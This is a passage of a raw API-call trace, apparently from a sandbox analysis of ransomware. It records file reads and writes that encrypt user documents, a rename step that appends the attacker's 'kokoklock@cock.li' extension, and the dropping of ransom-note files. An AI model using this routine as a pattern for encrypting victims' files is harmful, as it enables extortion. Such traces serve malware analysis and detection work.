Seed=0x2c7ffd44) returned 0x569fd7cb [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xb583d4d3 [0178.249] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x9ce1ef9b [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x6fc7be60 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x321189fa [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x56226864 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xab09a0d [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x2e07bcab [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xc4e4c780 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xba3e3e18 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x2b6c153a [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x224f724f [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x5508a246 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x406adf20 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x36dcac34 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x7d1395e8 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0x28094100 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xede273f8 [0178.250] RtlRandom (in: Seed=0x2c7ffd44 | out: Seed=0x2c7ffd44) returned 0xd08d4a6d [0178.261] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.261] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c7ffd10, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2c7ffd10*=0x4096, lpOverlapped=0x0) returned 1 [0178.266] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0178.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88b68 [0178.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97700 [0178.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97700) returned 1 [0178.267] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.267] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97890 [0178.267] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f976d8 [0178.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f976d8) returned 1 [0178.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88b68) returned 1 [0178.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0178.267] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c7ffd10, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2c7ffd10*=0x4096, lpOverlapped=0x0) returned 1 [0178.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.268] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x894d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.268] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97890*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c7ffd48, lpOverlapped=0x0 | out: lpBuffer=0x2f97890*, lpNumberOfBytesWritten=0x2c7ffd48*=0x20, lpOverlapped=0x0) returned 1 [0178.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97890) returned 1 [0178.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.268] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f974d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c7ffd5c, lpOverlapped=0x0 | out: lpBuffer=0x2f974d0*, lpNumberOfBytesWritten=0x2c7ffd5c*=0x8, lpOverlapped=0x0) returned 1 [0178.268] WriteFile (in: hFile=0x6f4, lpBuffer=0x2c7ffd74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c7ffd5c, lpOverlapped=0x0 | out: lpBuffer=0x2c7ffd74*, lpNumberOfBytesWritten=0x2c7ffd5c*=0x4, lpOverlapped=0x0) returned 1 [0178.268] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c7ffd5c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c7ffd5c*=0x4, lpOverlapped=0x0) returned 1 [0178.268] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c7ffd5c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c7ffd5c*=0x6c, lpOverlapped=0x0) returned 1 [0178.268] WriteFile (in: hFile=0x6f4, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c7ffd5c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x2c7ffd5c*=0x20, lpOverlapped=0x0) returned 1 [0178.268] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c7ffd5c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c7ffd5c*=0x4, lpOverlapped=0x0) returned 1 [0178.269] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0178.269] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f978b8) returned 1 [0178.269] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f974d0) returned 1 [0178.269] CloseHandle (hObject=0x6f4) returned 1 [0178.269] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2fe29d0 [0178.269] wcscpy (in: _Dest=0x2fe29d0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731" [0178.269] wcscat (in: _Dest=0x2fe29d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.269] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\qlbul.ods.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\qlbul.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.270] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe29d0) returned 1 [0178.270] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.270] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f8b690 [0178.270] wcscpy (in: _Dest=0x2f8b690, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0178.270] wcscat (in: _Dest=0x2f8b690, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0178.270] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0178.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b690) returned 1 [0178.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4490) returned 1 [0178.271] RtlExitUserThread (Status=0x1) Thread: id = 2739 os_tid = 0x6bc [0178.273] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\seozxcv_rfu.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.274] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\seozxcv_rfu.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.274] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2c87fab4 | out: lpFileSize=0x2c87fab4*=32905) returned 1 [0178.274] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x8085, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.274] ReadFile (in: hFile=0x6f4, lpBuffer=0x2c87fa88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c87fa84, lpOverlapped=0x0 | out: lpBuffer=0x2c87fa88*, lpNumberOfBytesRead=0x2c87fa84*=0x4, lpOverlapped=0x0) returned 1 [0178.275] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0178.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0178.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97958 [0178.275] NtQuerySystemTime (in: CurrentTime=0x2c87fa60 | out: CurrentTime=0x2c87fa60*=132121213355936966) returned 0x0 [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xd0a3974b [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xc5057e95 [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x4d07fc2a [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x391aa37e [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x61801688 [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xe6daea5e [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x50fdca94 [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xe6c842b2 [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xb3f7c629 [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xec7299cf [0178.275] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x98b2de0a [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x7629b888 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x10d189b5 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x5cbfad97 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xd1ac7794 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x2c078356 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x72312b64 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x81a30c77 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x6536d4bb [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x3922781 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xb8aa9da6 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xad3329f5 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x653e9355 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xf9847d04 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x1794a06d [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x5d97cda4 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x8610e920 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xfbdca61e [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xa3851005 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0x8d220ed6 [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xd4c3cc8e [0178.276] RtlRandom (in: Seed=0x2c87fa6c | out: Seed=0x2c87fa6c) returned 0xc1c1243a [0178.288] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.288] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c87fa38, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2c87fa38*=0x4096, lpOverlapped=0x0) returned 1 [0178.289] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0178.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88b68 [0178.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97c00 [0178.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97c00) returned 1 [0178.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d90 [0178.290] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97bd8 [0178.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bd8) returned 1 [0178.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88b68) returned 1 [0178.290] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0178.290] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c87fa38, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2c87fa38*=0x4096, lpOverlapped=0x0) returned 1 [0178.291] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.291] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x8089, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.291] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c87fa70, lpOverlapped=0x0 | out: lpBuffer=0x2f97d90*, lpNumberOfBytesWritten=0x2c87fa70*=0x20, lpOverlapped=0x0) returned 1 [0178.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d90) returned 1 [0178.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.296] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f979d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c87fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f979d0*, lpNumberOfBytesWritten=0x2c87fa84*=0x8, lpOverlapped=0x0) returned 1 [0178.296] WriteFile (in: hFile=0x6f4, lpBuffer=0x2c87fa9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c87fa84, lpOverlapped=0x0 | out: lpBuffer=0x2c87fa9c*, lpNumberOfBytesWritten=0x2c87fa84*=0x4, lpOverlapped=0x0) returned 1 [0178.297] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c87fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c87fa84*=0x4, lpOverlapped=0x0) returned 1 [0178.297] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c87fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c87fa84*=0x6c, lpOverlapped=0x0) returned 1 [0178.297] WriteFile (in: hFile=0x6f4, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c87fa84, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x2c87fa84*=0x20, lpOverlapped=0x0) returned 1 [0178.297] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c87fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c87fa84*=0x4, lpOverlapped=0x0) returned 1 [0178.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0178.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b38) returned 1 [0178.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f979d0) returned 1 [0178.297] CloseHandle (hObject=0x6f4) returned 1 [0178.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x132) returned 0x2f97f00 [0178.297] wcscpy (in: _Dest=0x2f97f00, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" [0178.298] wcscat (in: _Dest=0x2f97f00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.298] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\seozxcv_rfu.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\seozxcv_rfu.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.299] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.299] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97f00) returned 1 [0178.299] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.299] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f8b090 [0178.299] wcscpy (in: _Dest=0x2f8b090, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0178.299] wcscat (in: _Dest=0x2f8b090, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0178.299] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0178.299] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b090) returned 1 [0178.299] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054b10) returned 1 [0178.299] RtlExitUserThread (Status=0x1) Thread: id = 2740 os_tid = 0x728 [0178.301] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\ddmqo8hl2gw91muc8.odp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.301] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\ddmqo8hl2gw91muc8.odp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 